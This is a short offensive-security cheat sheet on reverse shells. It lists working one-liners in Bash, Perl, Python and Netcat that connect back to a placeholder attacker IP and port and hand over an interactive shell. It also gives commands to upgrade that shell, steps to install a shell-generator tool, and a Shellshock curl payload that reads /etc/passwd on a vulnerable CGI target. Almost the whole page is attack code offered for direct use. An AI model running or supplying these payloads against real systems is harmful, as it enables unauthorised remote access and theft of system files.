# REVERSE SHELL

#### Amazing tool for shell generation <a href="#amazing-tool-for-shell-generation" id="amazing-tool-for-shell-generation"></a>

```
# Download
git clone https://github.com/ShutdownRepo/shellerator

# Install requirements
pip3 install --user -r requirements.txt

# Executable from anywhere
sudo cp shellrator.py /bin/shellrator
```

#### Bash <a href="#bash-1" id="bash-1"></a>

```
bash -i >& /dev/tcp/<IP>/<PORT> 0>&1
```

#### Perl <a href="#perl-1" id="perl-1"></a>

```
perl -e 'use Socket;$i="<IP>";$p=<PORT>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
```

#### Python <a href="#python-1" id="python-1"></a>

```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<IP>",<PORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

#### Netcat <a href="#netcat-1" id="netcat-1"></a>

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <IP> <PORT> >/tmp/f
```

#### More reverse shell <a href="#more-reverse-shell" id="more-reverse-shell"></a>

```
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
```

#### Interactive shell <a href="#interactive-shell" id="interactive-shell"></a>

```
# Python
python -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Bash
echo os.system('/bin/bash')

# Sh
/bin/bash -i

# Perl
perl -e 'exec "/bin/bash"'

# Ruby
exec "/bin/bash"

# Lua
os.execute('/bin/bash')
```

#### Adjust Interactive shell <a href="#adjust-interactive-shell" id="adjust-interactive-shell"></a>

```
stty size # Find your terminal size -> 50 235
Ctrl-Z
stty raw -echo  // Disable shell echo
fg
export SHELL=bash
export TERM=xterm OR export TERM=xterm-256color
stty rows 50 columns 235
```

***

### SHELLSHOCK <a href="#shellshock" id="shellshock"></a>

```
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" <URL>/cgi-bin/<SCRIPT>
```

<br>
